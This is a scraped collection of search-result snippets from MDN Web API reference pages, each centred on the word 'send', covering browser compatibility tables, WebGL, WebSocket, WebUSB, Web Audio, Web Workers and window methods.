send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetslottable experimentalchrome full support 53edge full support 79firefox full support 63 ...
StereoPannerNode.StereoPannerNode() - Web APIs
tance. specifications specification status comment web audio apithe definition of 'stereopannernode()' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetstereopannernode() constructorchrome full support 55notes full support 55notes notes before chrome 59, the default values were not s...
StorageManager.persist() - Web APIs
age pressure."); }); specifications specification status comment storagethe definition of 'persist' in that specification. living standard initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpersistchrome full support 52 full support 52 no support 48 — 52alternate name alternate name uses the no...
Storage Access API - Web APIs
diately gain storage access as well, without needing to call requeststorageaccess() separately. if an embedded page from tracker.example has previously successfully obtained storage access on top-level origin foo.example, all embedded subresources from tracker.example on foo.example (e.g. scripts, images, stylesheets, etc.) will load with access to their first-party storage, which means they may
send cookie headers and honor incoming set-cookie headers. in firefox, when the promise returned from requeststorageaccess() is resolved, the embedded page will gain access to its entire first-party storage, not just cookies. this includes access to apis such as web storage, indexeddb, dom cache, and so on. in firefox, the storage access grants are phased out after 30 calendar days passing, whereas...
TaskAttributionTiming.containerId - Web APIs
attribute. specifications specification status comment long tasks api 1the definition of 'containerid' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcontainerid experimentalchrome full support 58edge full support ≤79firefox no support ...
TaskAttributionTiming.containerType - Web APIs
object. specifications specification status comment long tasks api 1the definition of 'containertype' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcontainertype experimentalchrome full support 58edge full support ≤79firefox no support ...
HTMLSlotElement.assignedSlot - Web APIs
slot value a htmlslotelement object. specifications specification status comment domthe definition of 'assignedslot' in that specification. living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetassignedslotchrome full support 53edge full support ≤18firefox full support yesie ...
TransformStream - Web APIs
chunk.every(value => typeof value === 'number')) controller.enqueue(new uint8array(chunk)) else if ('function' === typeof chunk.valueof && chunk.valueof() !== chunk) this.transform(chunk.valueof(), controller) // hack else if ('tojson' in chunk) this.transform(json.stringify(chunk), controller) break case 'symbol': controller.error("cannot
send a symbol as a chunk part") break case 'undefined': controller.error("cannot
send undefined as a chunk part") default: controller.enqueue(this.textencoder.encode(string(chunk))) break }, flush() { /* do any destructor work here */ } } class anytou8stream extends transformstream { constructor() { super({...transformcontent, textencoder: new tex...
UIEvent.initUIEvent() - Web APIs
specification, deprecated. document object model (dom) level 2 events specificationthe definition of 'uievent.inituievent()' in that specification. obsolete initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetinituievent deprecatednon-standardchrome full support yesedge full support 12firefox full support ...
UIEvent.layerX - Web APIs
pe="text" name="layerxcoords" size="7" /> layery:<input type="text" name="layerycoords" size="7" /> </form> </div> </body> </html> specifications this property is not part of any specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetlayerx non-standardchrome full support yesedge full support 12firefox full support yesie...
URLUtilsReadOnly.hash - Web APIs
urns:'#hash' specifications specification status comment urlthe definition of 'urlutilsreadonly.hash' in that specification. living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internethash experimentalchrome no support noedge no support nofirefox full support 38 ...
URLUtilsReadOnly.host - Web APIs
lla.org:80' specifications specification status comment urlthe definition of 'urlutilsreadonly.host' in that specification. living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internethost experimentalchrome no support noedge no support nofirefox full support 3.5ie ...
URLUtilsReadOnly.hostname - Web APIs
la.org' specifications specification status comment urlthe definition of 'urlutilsreadonly.hostname' in that specification. living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internethostname experimentalchrome no support noedge no support nofirefox full support 3.5ie ...
URLUtilsReadOnly.href - Web APIs
donly.href' specifications specification status comment urlthe definition of 'urlutilsreadonly.href' in that specification. living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internethref experimentalchrome no support noedge no support nofirefox full support 3.5ie ...
URLUtilsReadOnly.origin - Web APIs
.org:443' specifications specification status comment urlthe definition of 'urlutilsreadonly.origin' in that specification. living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetorigin experimentalchrome no support noedge no support nofirefox full support 29ie ...
URLUtilsReadOnly.pathname - Web APIs
thname' specifications specification status comment urlthe definition of 'urlutilsreadonly.pathname' in that specification. living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpathname experimentalchrome no support noedge no support nofirefox full support 3.5ie ...
URLUtilsReadOnly.port - Web APIs
eturns:'80' specifications specification status comment urlthe definition of 'urlutilsreadonly.port' in that specification. living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetport experimentalchrome no support noedge no support nofirefox full support 3.5ie ...
URLUtilsReadOnly.protocol - Web APIs
https:' specifications specification status comment urlthe definition of 'urlutilsreadonly.protocol' in that specification. living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetprotocol experimentalchrome no support noedge no support nofirefox full support 3.5ie ...
URLUtilsReadOnly.search - Web APIs
s:'?t=67' specifications specification status comment urlthe definition of 'urlutilsreadonly.search' in that specification. living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsearch experimentalchrome no support noedge no support nofirefox full support 3.5ie ...
URLUtilsReadOnly.toString() - Web APIs
examples // in a web worker, on the page https://developer.mozilla.org/urlutilsreadonly.href var result = window.self.tostring(); // returns:'https://developer.mozilla.org/urlutilsreadonly.href' browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettostring experimentalchrome no support noedge no support nofirefox full support 3.5ie ...
URLUtilsReadOnly - Web APIs
dentifier of the url. methods this interface doesn't inherit any methods. urlutilsreadonly.tostring() returns a domstring containing the whole url. it is a synonym for urlutilsreadonly.href. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung interneturlutilsreadonlychrome no support noedge no support nofirefox full support 57 ...
USBDevice.controlTransferOut() - Web APIs
es) or "vendor". recipient: specifices the target of the transfer on the device, one of "device", "interface", "endpoint", or "other". request: a vendor-specific command. value: vender-specific request parameters. index: the interface number of the recipient. data a typedarray containing the data that will be transfered to the device. not all commands require data; some commands can
send data just through the value parameter. check with your device to see what the specific request requires. return value a promise that resolves with a usbouttransferresult. specifications specification status comment webusbthe definition of 'controltransferout()' in that specification. draft initial definition. ...
USBDevice.isochronousTransferOut() - Web APIs
t() method of the usbdevice interface returns a promise that resolves with a usbisochronousouttransferresult when time sensitive information has been transmitted to the usb device. syntax var promise = usbdevice.isochronoustransferout(endpointnumber, data, packetlengths) parameters endpointnumber the number of a device-specific endpoint (buffer). data a typedarray containing the data to
send to the device. packetlengths an array of lengths for the packets being transfered. return value a promise that resolves with a usbisochronousouttransferresult. specifications specification status comment webusbthe definition of 'isochronoustransferout()' in that specification. draft initial definition. ...
USBDevice.transferOut() - Web APIs
the transferout() method of the usbdevice interface returns a promise that resolves with a usbtransferoutresult when bulk or interrupt data is sent to the usb device. syntax var promise = usbdevice.transferout(endpointnumber, data) parameters endpointnumber the number of a device-specific endpoint (buffer). data a typedarray containing the data to
send to the device. return value a promise that resolves with a usbtransferoutresult. specifications specification status comment webusbthe definition of 'transferout()' in that specification. draft initial definition. ...
USBIsochronousOutTransferResult - Web APIs
uesting a transfer of data from the usb host to the usb device. constructor usbisochronousouttransferresult.usbisochronousouttransferresult() creates a new usbisochronousouttransferresult object with the provided packet field. properties usbisochronousouttransferresult.packetsread only returns an array of usbisochronousouttransferpacket objects containing the result of each request to
send a packet to the device. specifications specification status comment webusbthe definition of 'usbisochronousouttransferresult' in that specification. draft initial definition. ...
WaveShaperNode.WaveShaperNode() - Web APIs
nstance. specifications specification status comment web audio apithe definition of 'waveshapernode()' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetwaveshapernode() constructorchrome full support 55notes full support 55notes notes before chrome 59, the default values were not sup...
WebGL2RenderingContext.samplerParameter[if]() - Web APIs
ameteri) or a glfloat (samplerparameterf) specifying a value for pname. return value none. examples var sampler = gl.createsampler(); gl.samplerparameteri(sampler, gl.texture_mag_filter, gl.nearest); specifications the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsamplerparameterichrome full support 56edge full support 79firefox full support 51ie ...
WebGLRenderingContext.vertexAttribPointer() - Web APIs
offset() to get the current parameters for an attribute, e.g. the data type or whether the attribute should be normalized. keep in mind that these webgl functions have a slow performance and it is better to store the state inside your javascript application. however, these functions are great for debugging a webgl context without touching the application code. examples this example shows how to
send your vertex attributes to the shader program. we use an imaginary data structure where the attributes of each vertex are stored interleaved with a length of 20 bytes per vertex: position: we need to store the x, y and z coordinates. for highest precision, we use 32-bit floats; in total this uses 12 bytes. normal vector: we need to store the x, y and z components of the normal vector, but sinc...
WebGLRenderingContext - Web APIs
ions. webglrenderingcontext.getextension() returns an extension object. examples webgl context feature detection in this first example we are going to check whether the browser supports webgl. to that end we will try to obtain the webgl rendering context from a canvas element. the webgl rendering context is an interface, through which you can set and query the state of the graphics machine,
send data to the webgl, and execute draw commands. saving the state of the graphics machine within a single context interface is not unique to webgl. this is also done in other graphics {̣{glossary("api")}}, such as the canvas 2d rendering context. however, the properties and variables you can tweak are different for each api. effect of canvas size on rendering with webgl with scissor() and clear(...
Detect WebGL - Web APIs
demonstrates how to detect a webgl rendering context and reports the result to the user. feature-detecting webgl in this first example we are going to check whether the browser supports webgl. to that end we will try to obtain the webgl rendering context from a canvas element. the webgl rendering context is an interface, through which you can set and query the state of the graphics machine,
send data to the webgl, and execute draw commands. saving the state of the graphics machine within a single context interface is not unique to webgl. this is also done in other graphics {̣{glossary("api")}}, such as the canvas 2d rendering context. however, the properties and variables you can tweak are different for each api. <p>[ here would go the result of webgl feature detection ]</p> <button...
Hello vertex attributes - Web APIs
« previousnext » this webgl example demonstrates how to combine shader programming and user interaction by
sending user input to the shader using vertex attributes. hello world program in glsl how to
send input to a shader program by saving data in gpu memory. <p>first encounter with attributes and
sending data to gpu. click on the canvas to change the horizontal position of the square.</p> <canvas>your browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { width : 280px; height : 210px; margin : auto; padding : 0; border : none; background-color : black; } button { display : block; font-size : inherit; margin : auto; padding : 0.6em; } <script type="x-shader/x-vertex" id="vertex-shader"> #version 1...
Adding 2D content to a WebGL context - Web APIs
program failed, alert if (!gl.getprogramparameter(shaderprogram, gl.link_status)) { alert('unable to initialize the shader program: ' + gl.getprograminfolog(shaderprogram)); return null; } return shaderprogram; } // // creates a shader of the given type, uploads the source and // compiles it. ...
Creating 3D objects using WebGL - Web APIs
ace as two triangles, using the // indices into the vertex array to specify each triangle's // position. const indices = [ 0, 1, 2, 0, 2, 3, // front 4, 5, 6, 4, 6, 7, // back 8, 9, 10, 8, 10, 11, // top 12, 13, 14, 12, 14, 15, // bottom 16, 17, 18, 16, 18, 19, // right 20, 21, 22, 20, 22, 23, // left ]; // now
send the element array to gl gl.bufferdata(gl.element_array_buffer, new uint16array(indices), gl.static_draw); return { position: positionbuffer, color: colorbuffer, indices: indexbuffer, }; } the indices array defines each face like a pair of triangles, specifying each triangle's vertices as an index into the cube's vertex arrays. thus the cube is described as a collectio...
Lighting in WebGL - Web APIs
, 0.0, 0.0, -1.0, 0.0, 0.0 ]; gl.bufferdata(gl.array_buffer, new float32array(vertexnormals), gl.static_draw); ... return { position: positionbuffer, normal: normalbuffer, texturecoord: texturecoordbuffer, indices: indexbuffer, }; this should look pretty familiar by now; we create a new buffer, bind it to be the buffer we're working with, then
send along our array of vertex normals into the buffer by calling bufferdata(). then we add the code to drawscene() to bind the normals array to a shader attribute so the shader code can get access to it: // tell webgl how to pull out the normals from // the normal buffer into the vertexnormal attribute. { const numcomponents = 3; const type = gl.float; const normalize = false; ...
WebGL best practices - Web APIs
to release a webgl context and its resources eagerly. use this if you are finished with any contexts, such as probe contexts, or if you hit a fallback case. flush when expecting results (like queries or rendering frame completion) flush tells the implementation to push all pending commands out for execution, flushing them out of the queue, instead of waiting for more commands to enqueue before
sending for execution. for example, it is possible for the following to never complete without context loss: sync = glfencesync(gl_sync_gpu_commands_complete, 0); glclientwaitsync(sync, 0, gl_timeout_ignored); webgl doesn't have a swapbuffers call by default, so a flush can help fill the gap, as well. use webgl.flush() when not using requestanimationframe when not using raf, (such as when using ...
WebGL model view projection - Web APIs
camera view position ]); // inverse the operation for camera movements, because we are actually // moving the geometry in the scene, not the camera itself. this.transforms.view = mdn.invertmatrix(matrix); }; the shader now uses three matrices. gl_position = projection * view * model * vec4(position, 1.0); after this step, the gpu pipeline will clip the out of range vertices, and
send the model down to the fragment shader for rasterization. the results view on jsfiddle relating the coordinate systems at this point it would be beneficial to take a step back and look at and label the various coordinate systems we use. first off, the cube's vertices are defined in model space. to move the model around the scene. these vertices need to be converted into world space by applyi...
WebSocket.onopen - Web APIs
it is called with an event. syntax awebsocket.onopen = function(event) { console.log("websocket is open now."); }; value an eventlistener. ...
WebSocket: open event - Web APIs
the open event is fired when a connection with a websocket is opened. bubbles no cancelable no interface event event handler property onopen examples // create websocket connection. const socket = new websocket('ws://localhost:8080'); // connection opened socket.addeventlistener('open', (event) => { socket.
send('hello server!'); }); specifications specification status html living standardthe definition of 'websocket open' in that specification. living standard ...
The WebSocket API (WebSockets) - Web APIs
the websocket api is an advanced technology that makes it possible to open a two-way interactive communication session between the user's browser and a server. with this api, you can
send messages to a server and receive event-driven responses without having to poll the server for a reply. note: while a websocket connection is functionally somewhat similar to standard unix-style sockets, they are not related. interfaces websocket the primary interface for connecting to a websocket server and then
sending and receiving data on the connection. closeevent the event sent by the websocket object when the connection closes. messageevent the event sent by the websocket object when a message is received from the server. guides writing websocket client applications writing websocket ...
Spaces and reference spaces: Spatial tracking in WebXR - Web APIs
o its effective origin the distance the viewer's position jumped since the previous frame, using the xrreferencespace method getoffsetreferencespace(). <<<--- needs an example --->>> the reset event <<<--- this section probably has problems still; corrections are appreciated --->>> when a discontinuity or break in the native or effective origin of a reference space occurs, the user agent will
send the xrreferencespace a reset event. this event indicates that a significant change to the origin's position has taken place relative to the user's environment. a reset may occur because the xr hardware lost connectivity for a time, resulting in the user's movements not being properly tracked for a while. upon recovery of tracking, a reset means tracking has been restored and the new position inf...
Example and tutorial: Simple synth keyboard - Web APIs
om") { osc.setperiodicwave(customwaveform); } else { osc.type = type; } osc.frequency.value = freq; osc.start(); return osc; } playtone() begins by creating a new oscillatornode by calling the audiocontext.createoscillator() method. we then connect it to the master gain node by calling the new oscillator's oscillatornode.connect() method;, which tells the oscillator where to
send its output to. by doing this, changing the gain of the master gain node will affect the volume of all tones being generated. then we get the type of waveform to use by checking the value of the waveform picker control in the settings bar. if the user has it set to "custom", we call oscillatornode.setperiodicwave() to configure the oscillator to use our custom waveform. doing this automatically s...
Background audio processing using AudioWorklet - Web APIs
the same check is performed when determining how many channels to process in the current input; we only process as many as there are room for in the destination output. this avoids errors due to overrunning these arrays. mixing inputs many nodes perform...
Web Audio API - Web APIs
these nodes could be linked to inputs of others, which mix or modify these streams of sound samples into different streams. a common modification is multiplying the samples by a value to make them louder or quieter (as is the case with gainnode). once the sound has been sufficiently processed for the intended effect, it can be linked to the input of a destination (audiocontext.destination), which
sends the sound to the speakers or headphones. this last connection is only necessary if the user is supposed to hear the audio. a simple, typical workflow for web audio would look something like this: create audio context inside the context, create sources — such as <audio>, oscillator, stream create effects nodes, such as reverb, biquad filter, panner, compressor choose final destination of...
Attestation and Assertion - Web APIs
the capability for a root of trust, validating the root of trust is frequently not necessary. when registering an authenticator for a new account, typically a trust on first use (tofu) model applies; and when adding an authenticator to an existing account, a user has already been authenticated and has established a secure session. assertion when a user chooses to log into a service, the server
sends a challenge and the authenticator signs over it with a key pair previously registered to that service. this creates an assertion. unlike the attestation, the format of the assertion is always the same regardless of the device being used. the assertion is returned through the webauthn api as the authenticatorassertionresponse. the assertion format is fairly simple as it contains four basic array...
Functions and classes available to Web Workers - Web APIs
t (yes) no support filereadersync this api allows synchronous read of blob and file objects. this is an api that works only in workers. 8 (8) no support no support no support formdata formdata objects provide a way to easily construct a set of key/value pairs representing form fields and their values, which can then be easily sent using the xmlhttprequest
send() method. ? (should be in 39 (39)) ? (yes) ? imagedata the underlying pixel data of an area of a canvas element. manipulating such data can be a complex task better suited to be delegated to a web worker. 25 (25) no support no support no support indexeddb database to store records holding simple values and hierarchical objects. 37 (37), 42 (42) ...
Web Workers API - Web APIs
irectly manipulate the dom from inside a worker, or use some default methods and properties of the window object. but you can use a large number of items available under window, including websockets, and data storage mechanisms like indexeddb. see functions and classes available to workers for more details. data is sent between workers and the main thread via a system of messages — both sides
send their messages using the postmessage() method, and respond to messages via the onmessage event handler (the message is contained within the message event's data property). the data is copied rather than shared. workers may in turn spawn new workers, as long as those workers are hosted within the same origin as the parent page. in addition, workers may use xmlhttprequest for network i/o, with th...
Window: animationcancel event - Web APIs
this might happen when the animation-name is changed such that the animation is removed, or when the animating node is hidden using css. therefore, either directly or because any of its containing nodes are hidden. bubbles yes cancelable no interface animationevent event handler property onanimationcancel the original target for this event is the element that had the animation applied. ...
window.cancelIdleCallback() - Web APIs
ng of background tasks api. specifications specification status comment cooperative scheduling of background tasks proposed recommendation initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcancelidlecallback experimentalchrome full support 47edge full support 79firefox full support ...
Window.customElements - Web APIs
cification specification status comment html living standardthe definition of 'window.customelements' in that specification. living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcustomelementschrome full support 54edge full support 79firefox full support 63 ...
Window.devicePixelRatio - Web APIs
specification status comment css object model (cssom) view modulethe definition of 'window.devicepixelratio' in that specification. working draft initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdevicepixelratiochrome full support 1edge full support 12firefox full support 18ie ...
window.dump() - Web APIs
ilable to xpcom components implemented in javascript, even though window is not the global object in components. it is also explicitly made available in sandboxes. however, this use of dump is not affected by the preference mentioned below -- it will always be shown. it is therefore advisable to either check this preference yourself or use a debugging preference of your own to make sure you don't
send lots of debugging content to a user's console when they might not be interested in it at all. note that dump output from xpcom components goes to stderr, while dump called elsewhere will output to stdout. in gecko dump() is disabled by default – it doesn't do anything but doesn't raise an error either. to see the dump output you have to enable it by setting the preference browser.dom.window.du...
Window.event - Web APIs
within shadow trees. specifications specification status comment domthe definition of 'window.event' in that specification. living standard initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung interneteventchrome full support 1edge full support 12firefox full support 63notes disabled ...
Window: message event - Web APIs
the message event is fired on a window object when the window receives a message, for example from a call to window.postmessage() from another browsing context. ...
Window.minimize() - Web APIs
the window.minimize() method sets the window to a minimized state. a way to undo this method programatically is by calling window.moveto(). browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetminimize non-standardchrome no support noedge no support nofirefox no support noie ? opera ? ...
Window.open() - Web APIs
ow/tab. this is supported in modern browsers including chrome, and firefox 52+. see rel="noopener" for more information and for browser compatibility details, including information about ancillary effects. noreferrer if this feature is set, the request to load the content located at the specified url will be loaded with the request's referrer set to noreferrer; this prevents the request from
sending the url of the page that initiated the request to the server where the request is sent. in addition, setting this feature also automatically sets noopener. see rel="noreferrer" for additional details and compatibility information. firefox introduced support for noreferrer in firefox 68. best practices <script type="text/javascript"> var windowobjectreference = null; // global variable func...
Window.openDialog() - Web APIs
you can set the properties as follows: var retvals = window.arguments[2]; retvals.address = enteredaddress; retvals.delivery = "immediate"; specification this is not part of any specification. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetopendialog non-standardchrome no support noedge no support nofirefox no support noie ...
Window.print() - Web APIs
ely. syntax window.print() specification specification status comment html living standardthe definition of 'print()' in that specification. living standard browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetprintchrome full support 1notes full support 1notes notes starting with chrome 46, this method is blocked inside an <iframe> unless ...
Window.prompt() - Web APIs
rompt("type a number", "")); specification specification status comment html living standardthe definition of 'prompt()' in that specification. living standard browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpromptchrome full support 1notes full support 1notes notes starting with chrome 46, this method is blocked inside an <iframe> unless...
Window.releaseEvents() - Web APIs
this method using the following syntax: window.releaseevents(event.keypress | event.keydown | event.keyup). see also window.captureevents ( ). specification this is not part of any specification. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetreleaseevents deprecatednon-standardchrome full support yesedge full support 12firefox full support ...
Window.requestFileSystem() - Web APIs
specifications specification status comment file and directory entries api draft draft of proposed api this api has no official w3c or whatwg specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetrequestfilesystem experimentalnon-standardchrome full support 13prefixed full support 13prefixed prefixed implemented with the vendo...
window.requestIdleCallback() - Web APIs
ling of background tasks api. specifications specification status comment cooperative scheduling of background tasks proposed recommendation initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetrequestidlecallback experimentalchrome full support 47edge full support 79firefox full support ...
Window.restore() - Web APIs
this method is currently not working, but you can use: window.moveto(window.screenx, window.screeny); browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetrestorechrome no support noedge no support nofirefox no support noie ? opera ? safari ? webvi...
Window.routeEvent() - Web APIs
ny time. try to avoid using it. the window method routeevent(), which is obsolete and no longer available, used to be called to forward an event to the next object that has asked to capture events. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetrouteevent deprecatednon-standardchrome no support noedge no support nofirefox no support ...
Window.scroll() - Web APIs
specification status comment css object model (cssom) view modulethe definition of 'window.scroll()' in that specification. working draft initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetscrollchrome full support 1edge full support 12firefox full support 1ie ...
Window.scrollBy() - Web APIs
specification status comment css object model (cssom) view modulethe definition of 'window.scrollby()' in that specification. working draft initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetscrollbychrome full support 1edge full support 79 full support 79 no suppo...
Window.setCursor() - Web APIs
. this function is a part of chromewindow interface. this function is unavailable to web pages, which can use the css cursor property instead. specification this is not part of any specification. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsetcursor non-standardchrome no support noedge no support nofirefox no support noie ...
Window.showModalDialog() - Web APIs
notes showmodaldialog() was briefly standardized as part of html5. the third argument for additional options was not present in the html5 version. specification msdn page for showmodaldialog browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetshowmodaldialog deprecatednon-standardchrome no support ? — 43edge no support nofirefox no support 3 — 56ie ...
Window.stop() - Web APIs
